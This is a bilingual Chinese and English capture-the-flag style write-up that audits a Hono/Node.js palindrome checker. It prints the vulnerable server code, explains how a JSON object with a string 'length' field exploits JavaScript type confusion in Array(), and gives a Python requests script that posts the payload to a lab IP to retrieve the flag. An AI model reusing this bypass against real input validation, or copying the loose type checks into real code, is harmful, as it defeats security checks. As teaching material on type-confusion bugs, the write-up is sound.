本文记录了一次针对 Node.js Web 应用的代码审计与逻辑绕过实战。目标程序要求输入长度大于1000的回文字符串,但 Nginx 限制了实际的超长字符输入。攻击者巧妙利用了 JavaScript 的弱类型与类型混淆机制 ,传入定制的 JSON 对象 {"length": "1000", "0": "x", "999": "x"} 替代字符串。该 Payload 不仅绕过了 length 属性的阈值校验,还利用了 Array("1000") 会生成单元素数组的语言特性 ,让严苛的全局对称循环检测仅执行一次即告通过,最终成功获取 Flag。 This article documents a real-world code audit and logic bypass of a Node.js web application. The target program requires inputting a palindrome string longer than 1000 characters, but Nginx restricts the input of excessively long characters. The attacker cleverly exploits JavaScript's weak typing and type confusion mechanisms by passing a custom JSON object {"length": "1000", "0": "x", "999": "x"} instead of a string. This payload not only bypasses the length attribute threshold check but also exploits the language feature where Array("1000") generates a single-element array, causing the stringent global symmetry loop check to execute only once and pass, ultimately successfully obtaining the Flag.
代码审计
import {serve} from '@hono/node-server';
import {serveStatic} from '@hono/node-server/serve-static';
import {Hono} from 'hono';
import {readFileSync} from 'fs';
const flag = readFileSync('/flag.txt', 'utf8').trim(); //返回flag.txt内容
const IsPalinDrome = (string) => {
if (string.length < 1000) { //输入少于1000字符
return 'Tootus Shortus';
}
for (const i of Array(string.length).keys()) { // 返回包含索引的指定长度的数组
const original = string[i]; // 获取当前索引i处的字符,赋值给original
const reverse = string[string.length - i - 1]; // 获取对称位置的字符,即倒数第i个
if (original !== reverse || typeof original !== 'string') { // 检查是否对称以及类型检查。两者不满足一个就返回1,导致运行下面的代码
return 'Notter Palindromer!!';
}
}
return null;
}
const app = new Hono(); // 创建一个Hono应用实例app
app.get('/', serveStatic({root: '.'})); // 定义get请求路由/
app.post('/', async (c) => { // 异步函数,定义POST请求路由
const {palindrome} = await c.req.json(); // 解析请求体中的 JSON 数据,并解构出 palindrome 字段,这里是用户输入点。
const error = IsPalinDrome(palindrome);
if (error) {
c.status(400);
return c.text(error);
}
return c.text(`Hii Harry!!! ${flag}`);
});
app.port = 3000; // 启动服务
serve(app);
漏洞分析
输入一千个a返回,Nginx 报错,大小限制。
Array()处理:
- 单数值:Array(3),创建长度为三的空数组
- 多参数:Array(1,2,3),创建[1,2,3]
- 非数字参数:Array(”1000”),创建[”1000”],只有一个
利用
构造payload
{
"palindrome": {
"length": "1000",
"0": "x",
"999": "x"
}
}
长度检查
if (string.length < 1000)
在比较字符串时强行将”1000”转换为数字
数组构造
Array(string.length) // string.length = "1000”
得到数组Array(”1000”),长度为1
迭代
for (const i of Array(string.length).keys())
仅循坏一次,i=0
对称检查
const original = string[0];"x"
const reverse = string[string.length - 0 - 1];string["1000" - 0 - 1],此时会强制转换为数字—> 1000-0-1
通过
import requests
# url
url = "http://83.136.253.144:33824/"
# create payload
payload = {
"palindrome":{
"length": "1000",
"0": "x",
"999": "x"
}
}
response = requests.post(url,json=payload)
print(response.text)Code Audit
import {serve} from '@hono/node-server';
import {serveStatic} from '@hono/node-server/serve-static';
import {Hono} from 'hono';
import {readFileSync} from 'fs';
const flag = readFileSync('/flag.txt', 'utf8').trim(); // Returns the content of flag.txt
const IsPalinDrome = (string) => {
if (string.length < 1000) { // Input is less than 1000 characters
return 'Tootus Shortus';
}
for (const i of Array(string.length).keys()) { // Returns an array of specified length containing indices
const original = string[i]; // Get the character at current index i, assign to original
const reverse = string[string.length - i - 1]; // Get the character at the symmetric position, i.e., the i-th from the end
if (original !== reverse || typeof original !== 'string') { // Check for symmetry and type check. Failing either returns 1, causing the code below to run
return 'Notter Palindromer!!';
}
}
return null;
}
const app = new Hono(); // Create a Hono app instance
app.get('/', serveStatic({root: '.'})); // Define GET request route for /
app.post('/', async (c) => { // Async function, defines POST request route
const {palindrome} = await c.req.json(); // Parse JSON data in request body and destructure palindrome field, this is the user input point.
const error = IsPalinDrome(palindrome);
if (error) {
c.status(400);
return c.text(error);
}
return c.text(`Hii Harry!!! ${flag}`);
});
app.port = 3000; // Start the server
serve(app);
Vulnerability Analysis
Inputting a thousand 'a's returns an error, Nginx reports a size limit issue.
Array() handling:
- Single argument: Array(3) creates an empty array of length three
- Multiple arguments: Array(1,2,3) creates [1,2,3]
- Non-numeric argument: Array("1000") creates ["1000"], with only one element
Exploitation
Construct payload
{
"palindrome": {
"length": "1000",
"0": "x",
"999": "x"
}
}
Length Check
if (string.length < 1000)
Forcibly converts "1000" to a number during comparison
Array Construction
Array(string.length) // string.length = "1000"
Results in array Array("1000") with length 1
Iteration
for (const i of Array(string.length).keys())
Only loops once, i=0
Symmetry Check
const original = string[0]; "x"
const reverse = string[string.length - 0 - 1]; string["1000" - 0 - 1], here it is forcibly converted to a number --> 1000-0-1
Passes the check
import requests
# url
url = "http://83.136.253.144:33824/"
# create payload
payload = {
"palindrome":{
"length": "1000",
"0": "x",
"999": "x"
}
}
response = requests.post(url,json=payload)
print(response.text)